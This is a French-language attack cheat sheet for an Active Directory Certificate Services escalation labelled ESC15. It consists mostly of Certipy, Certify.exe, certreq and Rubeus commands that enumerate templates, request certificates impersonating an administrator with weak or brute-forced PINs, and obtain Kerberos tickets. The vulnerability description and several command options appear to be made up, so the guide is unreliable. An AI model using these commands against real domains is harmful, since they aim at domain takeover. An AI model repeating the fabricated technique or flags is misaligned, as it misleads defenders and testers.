### Description ESC15 exploite des modèles de certificats qui autorisent l'enrollment via des mécanismes d'authentification alternatifs ou dégradés (comme l'authentification par certificat existant, PIN, ou autres méthodes faibles), permettant à un attaquant de contourner l'authentification traditionnelle et d'obtenir des certificats via des vecteurs d'authentification compromis ou affaiblis. ### Conditions vulnérables Un modèle de certificat est vulnérable à ESC15 si : 1. **Authentification alternative activée** - Le modèle accepte des méthodes d'authentification alternatives (PIN, certificat existant, etc.) 2. **Mécanismes d'authentification affaiblis** - Utilisation de méthodes moins sécurisées que l'authentification AD standard 3. **Enrollment autorisé** - L'utilisateur a les droits `Enroll` via ces mécanismes alternatifs 4. **Validation insuffisante** - Pas de vérification stricte de l'identité via les mécanismes alternatifs --- ### Exploitation depuis linux (certipy) Enumération des templates avec authentification alternative : ```bash certipy find -u [email protected] -p password -target dc01.domain.local # Énumération avec focus sur les mécanismes d'authentification certipy find -u [email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json # Recherche spécifique des templates avec auth alternative certipy find -u [email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "Alternative.*Auth\|PIN\|Existing.*Cert" ``` Exploitation avec certificat existant : ```bash # Utilisation d'un certificat existant pour enrollment certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'AlternativeAuthTemplate' -cert existing_cert.pfx -cert-password existing_password # Avec escalation via certificat de niveau inférieur certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'WeakAuthTemplate' -existing-cert low_priv_cert.pfx -upn [email protected] ``` Exploitation avec authentification PIN : ```bash # Utilisation d'un PIN faible ou bruteforcé certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'PINTemplate' -pin "123456" -upn [email protected] # Avec smart card simulée certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'SmartCardTemplate' -smartcard-pin "000000" ``` Authentification avec le certificat obtenu : ```bash # Authentification avec le certificat d'escalation certipy auth -pfx escalated.pfx -username targetuser -domain domain.local -dc-ip 192.168.1.10 # Si administrateur obtenu certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip 192.168.1.10 ``` --- ### Exploitation depuis windows (certify.exe) Enumération des templates vulnérables : ```powershell # Énumération des modèles vulnérables Certify.exe find /vulnerable # Filtrage spécifique ESC15 - authentification alternative Certify.exe find /vulnerable | findstr "Alternative.*Auth\|PIN\|Smart.*Card\|Existing.*Cert" # Vérification manuelle des méthodes d'authentification Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * | Where-Object { $_.'msPKI-Enrollment-Flag' -band 0x00000008 -or # CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS $_.'msPKI-Private-Key-Flag' -band 0x00000010 # CTPRIVATEKEY_FLAG_EXPORTABLE_KEY } | Select-Object Name, 'msPKI-Enrollment-Flag', 'msPKI-Private-Key-Flag' ``` Exploitation avec certificat existant : ```powershell # Utilisation d'un certificat existant pour nouveau enrollment Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:AlternativeAuthTemplate /existingcert:existing_cert.pfx /existingcertpw:password123 # Avec escalation de privilèges Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:WeakAuthTemplate /existingcert:low_priv.pfx /altname:[email protected] ``` Exploitation avec smart card ou PIN : ```powershell # Utilisation de PIN faible Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:PINTemplate /pin:123456 /altname:[email protected] # Simulation de smart card certutil -csp "Microsoft Base Smart Card Crypto Provider" -user -pin 000000 Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:SmartCardTemplate /smartcard ``` Exploitation via mécanismes Windows natifs : ```powershell # Utilisation de certreq avec authentification alternative certreq -new -user -csp "Microsoft Enhanced Cryptographic Provider v1.0" -pin 123456 request.inf request.req certreq -submit -config "DC01.domain.local\domain-DC01-CA" request.req response.cer # Avec certificat existant comme authentification certreq -enroll -user -cert existing_cert_thumbprint -template AlternativeAuthTemplate ``` Authentification avec le certificat obtenu : ```powershell # Conversion du certificat si nécessaire certutil -mergePFX response.cer,private_key.key escalated.pfx # Authentification avec le certificat Rubeus.exe asktgt /user:targetuser /certificate:escalated.pfx /password:password123 /ptt # Si escalation administrative réussie Rubeus.exe asktgt /user:administrator /certificate:escalated.pfx /password:password123 /ptt ```